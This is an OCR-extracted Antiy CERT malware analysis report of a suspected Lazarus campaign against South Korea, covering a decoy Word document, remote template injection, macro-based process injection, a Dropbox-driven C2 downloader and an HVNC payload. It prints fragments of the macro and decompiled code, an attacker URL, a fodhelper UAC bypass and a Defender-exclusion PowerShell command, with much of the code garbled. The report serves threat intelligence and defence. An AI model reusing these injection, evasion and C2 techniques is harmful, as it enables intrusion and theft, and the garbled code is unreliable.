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1 Overview

Recently, Antiy CERT discovered an attack campaign targeting South Korea. The decoy document was titled
"Sogang KLEC.docx" (Sogang University Korean Language Education Center.docx). After analyzing the obtained
sample and the associated malicious payload, we ultimately linked it to the Lazarus organization.

The Lazarus organization, also known as HIDDEN COBRA, APT38, Zinc, and Guardians of Peace, is one of
the most active APT groups in the Korean Peninsula. The group's targets include dozens of countries, including
Poland, Chile, the United States, Mexico, and Brazil. They carry out targeted attacks against financial institutions
such as banks and Bitcoin exchanges, as well as individuals, for financial gain, posing a significant threat to global
financial institutions. Furthermore, the group has infiltrated organizations and businesses, including those involved
in aerospace, COVID-19 vaccine development, government, and media, to steal critical data and engage in
ransomware attacks.

2 Attack Process

The attack process of this attack is roughly as follows:

1. Using template injection, the attacker waits for the bait document to be opened and then downloads
the malicious template constructed by the attacker to the host for execution.

2. The macro code in the template requests the specified URL, downloads the malicious payload and
injects it into WINWORD.exe for execution.

3. The downloaded malicious payload is mainly used to release and execute the download tool
IEUpdate.exe, and add it to the registry RUN to achieve persistence.

4. After being executed, IEUpdate.exe sends a message to obtain the C2 used for subsequent
communications, and downloads different malicious payloads for execution based on the returned
information.

5. Currently, two payloads, hvncengine.dll and shellengine.dll, are known to exist and are used to
communicate with C2 for remote control.
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Figure 2-1 Attack process diagram

3 Sample Analysis

3.1 Bait Document

Virus name

Original file name

=
=)
R

File size

File format

Exploit the vulnerability
Release technique
Creation time

Last edited time
Creator

Last saver

National language of the

text

VT first upload time

VT test results
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Table 3-1 2document

Trojan/Generic. ASHMacro.7D6
Sogang KLEC.docx
fla6lee026eac8583ee840d297792478
13.25 MB (13889306 bytes)

Office Open XML Document

None

Remote template injection
2022-04-06 8:40:00 UTC

2022-08-05 2:40:00 UTC

None

exciting
ko-KR

2022-08-16 21:05:35 UTC

16/65
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The download link for the decoy document was discovered through the correlation function of a public
intelligence platform. The information indicates that the decoy document was downloaded from a large attachment
storage site provided by Naver Mail. It is speculated that the attacker may have sent phishing emails through Naver

Mail. Naver Mail is an email service provided by the South Korean internet group Naver Corporation.

Scanned Detocdons Status URL
httpa Aighie. mall naver com'downioas”

2022.08.16 B8 200 BE=0XESUNIENSvatageail Jutiguw KotOF A H UKo Lima Ag S K Keu X HgueF o g AR S aoes i pd 3K el MrivFoF SMebvF oM Sk
ADpEZMob~

Figure 3-1VT detection results

SaniTOX is a security protection software developed by Jiransecurity of South Korea. The decoy document

impersonates SaniTOX to trick victims into enabling macros. The content of the malicious document is as follows.

Sogang KLEC.docx - Microsoft Word - O X
TEAR SR &4 =8 %8 | 7RIS @
g E= Aa Aa [= i 5 84 3 [ TIE
& B ned Kew 5] ER
mEm com s —EL] B gy U e RIS SOSER
B MR Eaes YrEs
IR = XML Fir ER
1) mems SHEIASCEEA. SLEMTREEES. | BERE | x
&
| S I I ox
- | - = Y A (= |
0| 2M& SaniTox 0 ofsl 2= = EMYULCY
Microsoft Office 2| QtHsH Tt U= 7=t El FME BT M -
AT A= «E2HX ALBHES SEISHMIR..
MU S 2(SaniTOX)= AHEALZL 2dste & 249 & 242 o+
28 753 HE|E ZEX FY e Fo3} g cte
MUEAZ 255 2ME DoHYEHED 220 D|E|E7|E X[ {OHR| EELUCHe v
()= ]
S/ anniy Q 3
TE: /1 | 37 | BEE | BA | Bz = 100% () 0 ),

Figure 3-2 The main content of the bait document for this attack activity
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After correlating the document body content, it was found that the bait document body content did not

appear for the first time.

Analysis of Suspected Lazarus Organization's Attack Activities Against South

Korea

Wd9- 0l 409 A3 F XA M docx - Microsoft Word - 0 X
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Figure 3-3Contents of bait documents from previous attack activities

R | RBIGIBIR.

The attacker uses Word template injection to download a malicious template and execute it after the victim opens

the bait document. The template is located at http://23.106.160.173/temp2.dotm.

mettings mal relas

3 rempl. o0

Figure 3-4Remote template link

3.2 Template File

Table 3 -3-3Template file
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Virus name Trojan/Generic.ASMacro.36F 1B

Original file name D5583E63.dotm

=
=}
N

8D7C3F3C56AD3069908901790ADFA826
File size 68.12 KB (69755 bytes)

File format Office Open XML Document

Exploit the vulnerability JNWiE

Release technique Macro documentation

Creation time 2022-07-031 2:45:00 UTC

Last edited time 2022-08-03 14:48:00 UTC

Creator exciting

Last saver exciting

VT first upload time 2022-08-16 21:13:22 UTC

VT test results 37/65

The template contains malicious macro code that automatically executes when the document is opened. The

macro code's main function is to download a malicious payload. If the download is successful, the downloaded

malicious payload is injected into the WinWord program for execution.

Private Function BunFE() A= Long

EX:

Tim ME f= Object
Dim bbb Az String
Iim i As Long
Randomize
Call Init
For 1 =0 To & bbb = bbb & Chr (Mapl (Int (62 * End()))): Hext i
Set ME = Createlbject(DecodeSTR( "nbé, s656p +aual fp¥ +enl e jr W8, /0 vd="1]
Call ME. SetTimeonts(0, 2000, 2000, 5000}
#If Winfd Then
ME. Open “GET”, “http: /" & DecodeSTR(" /0T Amld+eDH40DNE 5§/ {55 cqP / /6 e LPE £191 42B 2+ h 1 OHBEON0S oSRphq A/ p3nBvtlw="0 & "7 & bbb & “=" & bbb
. *23.106. 160. 173/A0MS /123456 j FyQMD T/ 123456  FvEMOTES. acn
#El=e
ME. Open “GET”, “http: /7" & DecodeSTR(" /0T Aml4+eDH400NS 5§/ {55 cqP / /5 eLPE £191 42Bz+eh 1 OHBEON0S oSRphq A/ P31 vfbvtlw=") & 7" & bbb & “=" & bhb
‘23, 106. 160. 173/A0MS /1 23456 j FyQMD T/ 123456  FvEMOT32. aem
#End If
On Error GoTo EH
Yith ME
. zetRequestHeadar “Cache—Control”, “no—cache”
setRequestHeader "Prasma”, “no—cache”
. send
MaitForBezponze
bbb =  ResponmszeText
End With
On Error GoTo EH
DIim rpEez Az Long

rphes = RunPE (BazefdDecoda(bbh)) /

If rpRes = 0 Then GoTo EH N S g—

EunFE = rpRes g | } g*
Exit Functien —’ ANTIY

EunFE = 0

End Function

Figure 3-5SDownload malicious payload

This function injects the downloaded malicious payload into WinWord for execution.
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Private Function RunPE(balnage() A= Byte) As Long
Dim hEernel3? Az LongPtr
Dim hlrvpt3e Az LongFtr
Inm h¥tdll As LongPtr

Dim pGMFH A= LongPtr
Dim pCF As LongPtr
Dim p¥AEx Az LongFtr
Dim pHtTP s LongPtr
Dim pHtEVM A= Longltr
Dim pHtWVM Az LongPtr
Dim pHtGCT A= LongFtr
Dim pHtSCT A= LongPtr
Dim pHtRT As LongPtr

#If Wingd Then

varTypelongPtr = VbVarType. vhLonglong
#El=e

varTypeLongFtr = ¥bVarTyvpe. vhLong
#End If

hRernel3? = 1Lib({"kernel3z. d11%)

If hKernel32 = 0 Then GoTo EX

pLL = mfGPA(hKernel3?, DecodeSTR(”griwnSyntalaored™))
If plL = 0 Then GoTo EX

Call mEGPA(RKernel32, “zzzz”)

WHtdl]l = mfLLiDecodeSTR("oRO117zes72%") & Che(0))
hCrypt32 = nflL{DecodeSTRE "raloiBTOS£+HET=") & Chr (D))
If hHtdll = 0 Or hWCrypt3Z = 0 Then GoTo EX

PRCM = mfGPA(KCrypt32, DecodeSTR(”jaWoibSMyr +aorelvqikvl/mJE=")1) 'CryptBinaryToStringh

pAFH = mEGPACREernel3z, DecodeSTR(”ibKltr*‘qorEelqe?tL‘ﬁ'xo?KG”)) " GetModul eF1lelam el
pCF = mfGPA(hEernel3?, DecodeSTR("]a¥OmqSrhé0Usbukoqw=")] ‘CreateProcessh
pHtRT = mfsPa(hHEdll, ]JecodeSTR(”glmanD?urSvust_]'B=”)) ‘' HtResumeThread

pHERVM = mfGPA(KNEA1], DecodeSTR( gE0DnriqzbiJpluZvbalofijge=")]  WtReadVirtualMemory
pHEWVM = mfGPAKNEAL], DecodeSTR(”zE0GibnézoeSorqisTedqfa+tiak=")) ' HtWriteVirtualMemory

pHtGCT = mEGPA(RNEAL], DecodeSTR(" KWnqSHuL+Fthaihiliqfal )] ' FtGetContextThread
pHtSCT = mfGPAIRNEAL], DecodeSTR("sEOCnqSHuL+Pthaihiliqfal *)) ' FtSetContextThread
pV¥AEx = mEGPA(RKernel3Z, DecodeSTR{"nL5] j6%vuSCEvEGILIN="]]) "WirtualAllocEx

pHtTF = mESPA(KHEdL], DecodeSTR("zKOFnqK vr+apEuHaESzqfSi ")) "WtTerminateFrocess

Call mfGPA(hNEL], “zzzz")|

If pRCM =0 Or p@FH =0 Or pCP = 0 Or pHtET = 0 Or pHtRWM = 0 Or pHtWVM = 0 Or pFtGCT = 0 Or pHtSCT = 0 Or pVAEx = 0 Or pHtTP = 0 Then GoTo EX

Dim =zCFF Az String
szCFP = Space(MAX_PATH)

Dim rEFH Az Variant
Dim ourH Az LongFtr

DIim dwCFPLen Az Long: dwCFPLen = MAX_PATH

ReDim vParams(0 To 2)

yParams{0) = curH

vFaramsz(1) = StrPtr (szCFF) 7
yParams(2) = dwCFPLen 2

—
Call MapPAFarams Q E
Dim ldcfRes As Long ANTIY

1dofRes = dispCF(0, p@TFH, _
tagCALLCONY. CC_STOCALL, VEWarType vblong, _
U'Bou.nd(vParams)- + 1, VarPtr(iVarTy'pes(D%), VarPtr (1VarPtr=(0)), rGNFH)

Figure 3-6Injection function

After the malicious payload injected into the WinWord process runs, it releases IEUpdate.exe and error.log files
under % LocalAppData%\Microsoft\PlayReady. It then bypasses UAC through fodhelper.exe to elevate the
permissions of IEUpdate.exe and executes it. The error.log file records the URL link "s/ucnpe74wo87d3mm/

server.txt?dl =0" that needs to be accessed later.

© Copyright by Antiy. Reprinting without loss is welcome . Page 6
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» AppData » Local » Microsoft » PlayReady v | @ g
== E HER el Fuh
error.log 2022/9/30 15:49 A 1KE
(& IEUpdate.exe 2022/9/30 15:49 R 92 KB

" errarlog - i0EE
v ;/l e
THF SEE BER0) =BV EHH) OL8X
s/ucnpe74wo87d3mm/server.txt2dl=0|

Figure 3-7Files dropped by the malicious payload and the contents of error.log

Modify the registry startup item to achieve persistence.

HEHN\HKEY CURRENT _USER\Software\Microsoft\Windows\CurrentVersion\Run

Pl ) Immersive & || Z# = Fpre— (’{\j f . — *
> InstallSery ] RES <7 (EEEEE) o2/ anny Q
: Internet St ab|IEUpdate REG SZ "ChUsers\wixed\AppData\Local\Microsoft\PlayReady\|IEUpdate.exe"

Figure 3-8Add the IEUpdate.exe file to the registry RUN

3.3 IEUpdate.exe Download Tool
Table 3 -3Binary executable files

Virus name Trojan/Generic. ASMalwS.2D
Original file name IEUpdate.exe
c073012bc50b6adf55f8edcce294a0b4
Processor architecture Intel 386 or later, and compatibles
File size 92.00 KB (94208 bytes)

File format Win32 EXE

Timestamp 2022:08:03 03:27:06+00:00
Digital signature None

Packer type None

Compiled language Microsoft Visual C++ v.11 - 2012
VT first upload time 2022-08-16 21:13:22 UTC

VT test results 49/72

MD5

First, determine whether the path contains ":\myapp.exe". If so, exit.

© Copyright by Antiy. Reprinting without loss is welcome . Page 7
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vB = 260
vl = Filename;

*vlH = 8;

--v@; ©) 4 *
} ’ ANIIY g

while { v& };
GetModuleFileNameA(®, Filename, @xledu);
v2 = str_decrypt_401888(byte AA343C); £ \myapp.exe
result = strstr(Filename, v2};
if { result )
exit(@);
return result;

Figure 3-9Determine your path

By setting the delay time through sleep, determine whether the delay time is effective, in order to bypass some

sandboxes that modify sleep time.

= lpCmdLine;
hiind = (HWND)hInstance;
v28 = lpCmdLine;
sub_A92888();
vS = GetTickCount();
Sleep(@xBdu);
if ( GetTickCount() - v5 < z,y”"‘ E *

exit(@); ANTIY

[ I R [ T Wy Y S WYy W

Figure 3-10Sandbox detection

Get the device description information of the main hard disk and concatenate it with "VDEVICE". The

concatenated string is hashed with CRC and concatenated with "0". The format is "0 + CRC hash value".

Source = @;

memset{vs, @, sizeof(vs));

pchBuffer = 100@;

GetUserNameA(Buffer, &pchBuffer);

Destination = @;

memset{vid, @, sizeof(vd));

if ( !sub_A91D7@(&Scurce) ) [ FREEENEERETER
strcpy_s(&Destination, @x64u, &Source);

strcat_s(&Destinaticon, @xedu, "VDEVICE™);

v2 = CRC_481EE@((int)&Destinatiocn, strlen(&Destinat ](N *

vE = str_decrypt 4818@8(byte AA34308); ) ANTIY g

return sub_AS28F8(::Buffer, "¥sXeax", ve, v2);

Figure 3-110btain host information and generating a host identifier

By creating a directory under the system directory, determine whether it has administrator privileges.

© Copyright by Antiy. Reprinting without loss is welcome . Page 8
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GetSystemDirectoryA(Buffer, @x888u);
strcat s(Buffer, 8x888u, "\\");
strecat_s(Buffer, 8x888u, ::Buffer);

if { _mkdir{Buffer) == -1 )
return @;

_rmdir(Buffer); N /I -
return 1; L) - g *

Figure 3-12Permission judgment
Get the operating system version information.

VersionInformation. d-.-ﬂS‘ufer51onInfoSle & 148
Get‘ufer"51-:|nEx;- (&versionInformation); '\ *

Figure 3-130btain operating system version information

Get a process snapshot and determine whether the currently running processes include "v3l4sp.exe",
"AYAgent.aye", and "[EUpdate.exe" . "v3l4sp.exe" is a subroutine of V3 Lite, a free antivirus software from South

Korea's AhnLab, and "AYAgent.aye" is part of ALYac, an internet security suite from South Korea's ESTsoft.

hsnapshot = CreateToolhelp32Snapshot(2u, @);
v1l3 = GetCurrentProcessId();

= (void (_ stdcall *})(HANDLE))CloseHandle;
if ( Process32First(hsnapshot, &pe) )

1

do

{
v5 = str_decrypt_461800(asc_AAI348); // w3ldsp.exe
if ( !'_stricmp(pe.szExeFile, v5) )
{

dword_AASDE® = 2;

}
else
{

6 = str_decrypt_481888(byte AA3354); [/ AYAgent.aye
if ( ! stricmp(pe.szExeFile, wB) )

dword_AASDER = 3;
lse if { ! _stricmp(pe.szExeFile, a2) ) // IEUpdate.exe

Exelame = 8;
memset(v17, @, sizeof(viv));
dwsize = 8;
7 = OpenProcess{@x1888u, @, pe.th32ProcessID);
if (w7 )
{
QueryFullProcessImageNamed(v7, @, &Exelame, &dwSize);
if ( (!GetModuleFileNameExA(v7, B, &ExeName, 268) || ! stricmp(al, &ExeName)) && w13 != pe.th32ProcessID )

*a23 = pe.th32ProcessID;
+v3;

} £ ;tf("--!
A OF gk
vd = (void (_ stdcall *}(HANDLE))CloseHandle; e A
CloseHandle(va);

continue;

Figure 3-14Detection of designated antivirus software

© Copyright by Antiy. Reprinting without loss is welcome .Page 9
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If the path is "% LocalAppData%\Microsoft\PlayReady\IEUpdate.exe" and the process ID does not match the

current process, close the previous IEUpdate.exe process.

_dupenv_s(&Scurce, &BufferCount, "LOCALAPPDATA™);
strcat s(Destinaticn, @xB@8u, Scurce);

vE = str_decrypt_48186e(byte_AA3328);
strcat_s(Destination, @x886u, ve);

v7 = str_decrypt_4elees(byte AAIZ38);

strcat_s(Destinaticon, 8x886u, v7)}; /f C:\Users\wilxed\AppDatatlocal\Microsoft\PlayReady\IEUpdate.exe
v = str_decrypt_481860(byte_AA3338);
strepy_s(v4l, @x888u, vi); // IEUpdate.exe

GetModuleFileNameA(@, Filename, @x486u);
dwProcessId = @3

v3 = sub_A918A@(Destinaticn, v4l, &dwProcessId);
if ( !|_stricmp{Filename, Destination) && v9 > @ )

(HWND}OpenProcess (@x1FFFFFu, @, dwProccessId);
1= GEtﬁlndDth( 118 ;

v1e
Elllpse( /11, 8@, 72, 2888, 2872);

ReleaseDC(vl@, wll);

if { lvie ) .
exit(l); i/'j"\} J”""!

if { !TerminateProcess{via, @) ) —’  ANTIY g
exit(l1l);

Figure 3-15Close the previous process

Set the flag based on whether the parameters of CMDline include "/s" and "/a", and select different branches for

execution based on the previously set administrator permission flag.

v12 = strstr{lpCmdLine, "/s");
w13 = dword_AAT@l4;
if ( vi2 )
w13 = 1;
dword_A7814 = v13;
vl4 = strstr{lpCmdLine, "/fa"};
if ( vig )
Vi3 = 8
memset{v3i4, @, sizeof(v34));
vls = 3;
if ( strlen(visd) = 3 )
1
do
{
v16 = v
if ( vie
break;
#(Ru33 + viS++ - 3) = viG;
3
while ( v15 < strlen(vid) );
= w283
1

strepy_s(::Destination, @x888u, &v33);
dword_AASDE® = 1;

! —
if ( privilege_flag aser7s )(0) 77 &F
¢ g Ahllv:!;:!:iiiii

17— str Adarruntd ARTRGEGR arda AAIICRY

Figure 3-16Set markers according to parameters

© Copyright by Antiy. Reprinting without loss is welcome . Page 10
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Determines whether the previous privilege escalation operation was successful. If the privilege escalation is

successful, the system will add itself to the Windows Denfender exclusion list through PowerShell commands.

if ( privilege_flag RABFTS )
{
= str_decrypt 401088(byte AA3NS);
) )

if ( stratr{os,
{
semiet( . 0, sizeof(iu 1):
memset( s 8, sizenf( 5
p! (Bt y BxBOy )|
streat_s( » BxBOdy, )i
decrypt 401000 hyte_AR33CC);
Treat ' » OxBODds, )
decrypt SBl8a(byte A33308);

,» xS0y, B
streat_s( » SuBOOU, “\7);
strcat_s( s GxB00u, )i
streat_a( , ExB00u, “\"7); '/ Jc posershel]l -Command Add-MpPreference -Exclasioniath ¢ " MInfA\ApnDet s wl Layleady pda

68
- &
do
'
LOBYTE( sch) = 8
- ' . 1)
i
}
while )
-.¢b = 68;
sehowwindow = B;
. et JonDC T
eToEx{ 21, 88, 109, &)}
(vit, B8, 109, @x3Fu, 0.0, 10.0);
. 5B, 1080);
Leased(({ » )i
tubroce ( = LB, 0, 0, ExBOOMOROY, B, B, At .
}
Slewn(5000u) ;

. !!f,'.ﬁ"thr‘!nd-j S'.."NA‘?r‘e‘.:, _Q, _ﬂ% .
Figure 3-17Add this file to the Windows Defender whitelist

If you do not have administrator privileges, create a new thread and execute it in a loop, as shown below.

while ( 1 )

1
hHandle = (HAMDLE) beginthread(( beginthread proc_type)sub_A31678, @, 8);
vl = CreateCompatibleDC(({HDC)hHandle);
Rectangle(v®, 111, 888, 777, 555);

DeleteDC(va); —~
WaitForsingleObject(hHandle, @xFEFFEFFF); O e *
Sleep(@x7538u); i

Figure 3-18Create a thread

The thread creates another thread function, which is used to communicate with C2.

First, "dl.dropboxusercontent.com" is concatenated with the content obtained from the error.log file, and the C2

address for subsequent communication is obtained from the concatenated URL.

© Copyright by Antiy. Reprinting without loss is welcome . Page 11
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-9;
. - B
.8
« str _decrypt S31809(byte AASSDE) ) 4l dropoowuseccontent , com
strepy_s(Destinatlon, Sxdllu, vi);
» str_decrypt_ wlmn:-,t- -u_u'ej. / Mazilla/n. 0 (Mindoas NT 19.9; WinGd; «04) Agplehebiit/S37.58 (RNTML, like Gecko) Cheome/09.0.4385.104 Safari/537. %
11 ( lsub_A92118{&n ( L o 3y . 8430, 1))
{
:{0) - €;
-8;
Bupeny_s{8 » A8t InT, “LOCALAPPDATA™);
itrcat s|’. .GM “):
. str Jdecrypt _421200(byte AAIIN);
LTIt s{ ¥ . xEldu, 7))
. str _decrypt wlmﬂrn- AAI520) 5
strcat s( piiase, 300U, )} /1 Ci\isers e xsd\Applata\tocal Wicrosoft \PlyyResdy \arrar, log
wit ¢ DxBODO0OM, Tu, 0, Su, Oxbdu, 0);

ReadsLla(vd, Flletme, v, Riusbarofe L 0);
if ( fOytecie »e BxB0O )

report _rangecheckfalluce( )]
(RxAR2S0S) ;

[huste ] =9
selandlel{vs);

e FrrplpenfegoestA( o TEETT, e, B, &, 6, 4004888y, @);

if ( ImtecnesQueryDstadyuilnblelvs, & arDFByee ' , 8, 01)

LA .
memset{.15, 9, sizeof(.15}})

A7 ( [Internetfieassile(vl, & R ¢ ' : le, (LPOWRO)E NIRE ”
‘ Olck=F =
o (unsignes 1a1) BET 4 w10} '~.' ANTIY

if ( (unsigned int) et + > @388 )
return 8
mesmcyn (Razberverflame[ 0], B840 e & L U 0

Figure 3Get the C2 address from Dropbox

Then the operating system version information, whether the specified antivirus software exists, and the

previously generated UID are returned as the online packet.

1
vd = VersionInformation.dwMinorVersion;

v3 = VersionInformation.dwMajorVersion;

v2 = dword AASDES®;

viE = str_decrypt 401880 (asc_AA3I383); J/ uid=Es&avtype=¥dimajorv=¥d&minorv=3%d
sub_Ag105@(EBuffer, wve, ::Buffer, w2, v3, wd);// uid=847DB1382&avtype=18&majorv=6&minorv=2
vl = str_decrypt 481888 (asc_ AA3IZBER); /! post2.php

strepy s(Destinaticon, @x8@8u, v1); P g
sub_AS2218(Destinaticn, Buffer); { -\) ::w Q *

sub_AS14FB();

Figure 3-19Construct the online package

The online packet return function sends the collected information to post2.php.

© Copyright by Antiy. Reprinting without loss is welcome . Page 12



é—-
o = 4 * Analysis of Suspected Lazarus Organization's Attack Activities Against South

Korea

-0

= ST _decrypt 401000(byte AR3458); Moz1118/5.0 (Windows NT 180 WinGS; «63) AppleMebXLit/S537.36 (KHTML, llke Gachu) Chrome/85.0.4389.114 Syfarl/537.36
if ( ldword_AASDES || 1es )

return §;

= InternetOoera(va, B, usk ARIIAE, unk_AA3343, 0);
if (1)
sti_e:

if ( G= ()

return 8
goto LADEL 73

( 2u, 8t 4u, 8);
6u, & &y, &)
{ Su, &0ur du, 9);
{ Tu, & Lu, @)
( by, &0t , Su, ®);

o Emtea , szServerase, @xS8u, €, 8, u, @, 8))
if (! )

shterne lotetundl
goto LADEL_8;
}

sty 7
« irtplpendeguestafsd, “POSTT, al, 0, 9, 9, OnesDODIBu, 9);// posti.phy —
59 ( & ) £y f"! L —
' ©L g
’ 2/ .
= strien(. 1 1 7] e ANIIY
= str_decrypt_ABI000(byts_AAIA0D) ; Content-Typa: wpplicetion/x-—wwne-form-orlancoded
return MttatengRequestil » Bu2Fu, ’ )i

Figure 3-20Send online packet

The data is then received from the concatenated URL and processed, obtaining the content after the third "%"
and ending it with "\r" or "\n". This content will be used as the resource address for the subsequent download URL.

The Arabic numerals 0-9 are obtained and processed to obtain the command ID.
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:tr_decrypt_ulooe(byté_'A;'dv:fs.)i // fecommand.acm

Sub_AQ1050(Sutfer, "Ra/%s”, (char):iBuffer); // 47081382/ Tecommand.acn

P = sub_A92se@(fuifer, Rblock))

= Vo3
if (| )
return;
2 a@;

-9;
i - 8;

= 8;
“((_=vE
S =90;
do

{
F w vi[v5);
1f ( v& == "\n' || AR Vifvs = 1] e= '\r' )
{
if ¢ >0 B& 4 5= 3)

*Jlack ¢ v8) = 9

1f { (unsigne t) = @800 )

sub_A91428(Source, wi);
I = 8lock;
)
= 0;
‘-
via=@;
goto LASEL_19;

}
AF (vt == 38K 8 Ix '\t BS Vi 1= "K' )

{
e[vi+4] =
goto LABEL_2@;

= Lsdigit(v6);

()
{
3= *((char *)Elock + v%) 42 * (5 * & - 8x18);
LASEL_19:

 =a

“
goto LABEL_2@;

18 *((BYTE *JBleck 4 v5) = 'K ) @
-0
LASEL_20: /
+55

; 5

Figure 3-21Send requests and receive commands from C2

(S S

Execute the issued command cyclically and determine whether to repeat it.

© Copyright by Antiy. Reprinting without loss is welcome

Korea

. Page 14



anr n * Analysis of Suspected Lazarus Organization's Attack Activities Against South

w2 = @8;
if ( ldwerd_AAGFTC )
goto LABEL_1@;

while { 1 )
result = stromp(Source, (const char *)(dword_AABDES[vZ] + 4));// FHUt EEE T-#ith T
if { result )
result = result €« ©® ? -1 @ 1;
if { !result )
break;

if { ++v2 »= dword_AAGFTC )
goto LABEL_8;

if { v2 < dword_ABBF7C )

return sub_A9129@8(a2, Scurce, dword AABDES[v2]);
ABEL_&:
if ( v2 < exe4 )

if { v2 <« dword_AAGF7C )
return sub_A91298(a2, Source, dword_AABDEB[vZ]);
ABEL_18:
5 = (char *)operator new(@x88Cuj;
strepy_s(vS + 4, BxB88u, Source);
6 = dword_ARBF7C;
#({_DWORD *)v5S + 514) = 8;
dword_AABDEB[vE] = (int)vs; \\ ,/’

dword AAGF7C = vé + 1; ) *
10

return sub_A2129@(a2, Scurce, dword AAGDE§f i
b

return result;
Figure 3-22Execute the command issued by C2

Download the dlI file and select the exported function to execute.

if ( !*( DWORD *)(a% + @x888) && a1 != 3 )
{
vi2 = @;
sub_AQlDSB(Buffe’ "¥s/¥s", Buffer, a2);
w7 = sub_A925E@(Buffer, («ud “)&u12); 1 TE
1f ( w7 )
return 8;
*(_DWORD *)(a3 + 2856) = sub_A9314@(v12, v7);// FTEINEire

¥
v = *(void **)(a3 + 2856);
if { lvE )

return @;
v o= @
ms_exc.registration.TrylLevel = @;
if (8l ==1 || al ==4 )

vle = "SEStart”;
}
else
if (a1 !l=2)
if ( al ==3)
= (void (*)(void))sub_A334DB(vE, "SEEnd");
if (w1l )
v11();
vE = 8;
sub_Ao3608(vi);
*(_DWORD *)(a + 2@56) = @;
goto LABEL_23;
}
vld = "SEEnd";
v = (void (*)(void))sub A934DB(vE, viE);
LABEL_23: ‘\ !"’ *
if ((va) \ ’ ANTIY :!::!

vals

Figure 3-23Download and subsequent payload execution
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By searching for information about the above samples on a public intelligence platform, we found two files in
the PCAP file associated with the bait document. These files should be the malicious payloads downloaded by

IEUpdate.exe. They have the same return data structure and decryption algorithm.
Table 3-4Return data structure

Offset to data header Explanation

Fixed data, after decryption:)

0x0
(*&POIU:LKJ
. Fixed data, which can be replaced with
X
received data on demand
.y This part of the data is determined by the
X
content of the execution
0x18 The length of the returned data (size)
0x1C Returned data
Fixed data, after decryption it becomes
0x1C+size

%$#YTREHGFD

During the file transfer process, the returned data structure will be adjusted appropriately, as shown in the figure

below.
Table 3 -5 File return data structure

Offset to data header Explanation

Fixed data, after decryption:)

0x0
(*&POIU:LKJ
e Fixed data, which can be replaced with
X
received data on demand
0x14 Overall file size
0x1C File path length
0x20 File path (sizel)
0x20+sizel The current file pointer position
The size of the file currently being read
0x28+sizel :
(size 2)
0x2C+sizel Read file contents
Fixed data, after decryption it becomes
0x2C+sizel+size2

"%$#YTREHGFD

") (*&POIU:LKJ" and ""%$#YTREHGFD" on the keyboard are shown in the figure below.

© Copyright by Antiy. Reprinting without loss is welcome . Page 16



ﬁ E * Analysis of Suspected Lazarus Organization's Attack Activities Against South

Korea

Esc F1 F2 F3 F4 FS F6 F7 F8 F9 F10 1 F12
I 1@ N\F 15 1% |F & | 1<

1 b W3 lla s lle 8 \
Tab Q |W\I[E |[R [T 1[¥ \[U
= A _IS\V1D IF 1G H‘\ J
Lock Enter
Shi Z X _1Ic IV 18 [IN -

[ =

) =

Figure 3-24The position of the fixed content in the returned data structure on the keyboard
3.4 hvncengine.dll hvnc

Table 3 -6 Binary executable files

Virus name Trojan/Generic. ASMalwS.2D

Original file name hvncengine.dll

MDS5S 5beade9f8191c6a9¢c47050d4e3771b80
Processor architecture Intel 386 or later, and compatibles

File size 77.00 KB (78848 bytes)

File format Win32 DLL

Timestamp 2022:08:03 03:30:53+00:00

Digital signature None

Packer type None

Compiled language Microsoft Visual C++ v.7.10 - 11.0 - Visual 2012
VT first upload time 2022-08-16 21:15:12 UTC

VT test results 48/71

The malicious payload has two exported functions: SEEnd and SEStart. SEEnd is used to close the socket
connection and wait for the thread. SEStart is the payload's main function, used to communicate with the C2 and

implement the hvnc function.

After the sample is run, it first generates a string with a host identifier, just like IEUpdate.exe.
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memset (Source, B, sizeof(Scurce));
pcbBuffer = 1660;
GetUserNameh(Buffer, &pcbBuffer);
memset(Destinaticon, @, sizeof(Destination));
if ( lsub_leeezD9e(scurce) )

strecpy s(Destination, @x64u, Source);
strcat s(Destination, @x64u, “WDEVICE");
v2 = sub_lB@e2red(Destination, strlen(Deggination));
v = strdecrypt_18882CFe(byte_1000RSR0)5 " i *
return sub_18@@38A8(::Buffer, "XsXeme' iy =9

¥

Figure 3-250btain host information and generate a host identifier

Every ten minutes, the malicious function is executed.

dword_18811E83
LABEL_2:

dword_18@12B5C = (HANDLE) beginthreadex(2, @, sub_leee24ee, @, @, 8);

WaltForsingleObject(dword 1@@12B5C, @xFFFFFFFF);

vl = @;

while { dword 18811E83 )

1;

Sleep(le@eu);
if { Hvl == GER )
goto LABEL_2;

1
if { hHandle )

CloseHandle (hHandle); . P
result = @; N 2%

SR
hHandle = 8; o2 anny Q

return result;

Figure 3-26Set the interval time

Create a desktop with the host ID string as the name.

hDesktop = OpenDesktopA{Buffer, @8, 1, ex16008808u);
if { 'hDesktop )

hDesktop = CreatelesktopA(Buffer, @, 8, 8, Bx10000BBGL, B);
dword_ 18812804 = (HANDLE) beginthreadex(®, @, loc_leeelals, @, 8, 8);
WaitForSingleObject (dword_ 18812804, @xFFFFFFFF); — ;,4,....
CloseHandle (dword 18@12BD4); \L) = Q *
dword 18812804 = @;

Figure 3-27New Desktop

After entering the thread function, just like IEUpdate.exe, it reads the content in "error.log" and

concatenates it with " dl.dropboxusercontent.com ", obtains the C2 address through a GET request, and then

attempts to connect through a socket.

© Copyright by Antiy. Reprinting without loss is welcome
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if { ldword_l@ellEeC )
1
dword_ 18813833 = 1;
v2 = sub_188831B@(); /O BRE S R
dword_18211EBC = v2 == 1;
dword 180813888 = @;
if (v2 I=1)
return &;
¥
if ( wWsAStartup(ex282u, &usiData) )
return 8;
pHints.ai flags = 8;
memset{&pHints.ai_addrlen, @, 18);
pHints.ai family = 2;
pHints.ai_socktype = 1;
pHints.ai_protoccl = 6;
if { getaddrinfo(pModeName, pServiceName, &pHints, &ppResult) )
return &;
v3 = socket(ppResult-»ai_family, ppResult-»ai_socktype, ppResult-»ai protocol);
if ( w3 = -1)
1
freeaddrinfo(ppResult);
return &;

if { connect(v3, ppResult-¥ai_addr, ppResult-rai_addrlen) )

freeaddrinfo(ppResult);

closesocket(v3); l’lfwj Pl *
return @; S Ay g
¥

Figure 3-280btainC2 from Dropbox and connect

If the connection is successful, the previously generated host identifier is sent through the socket and the
association between the current thread and the desktop is set.

vl = strdecrypt_leee2CFe(byte 188BF518); // 8le4
strcpy_s(Destination, @xAu, wl};
s = sub 18893458 (Destination); /4 EEENE (S
if ( 5)
1
w2
w3
if

{char *)sub_1@@e1@1@(@, byte 18@BF3F8, Buffer, strlen(Buffer), &len);// REHENZTFH
a;
s &% send(s, v2, len, 8) != -1 )

1; L
£ £S5y emm—
ree(v2); O *

Vi)

e ]

1

if

1
SetThreadDesktop(hDesktop);

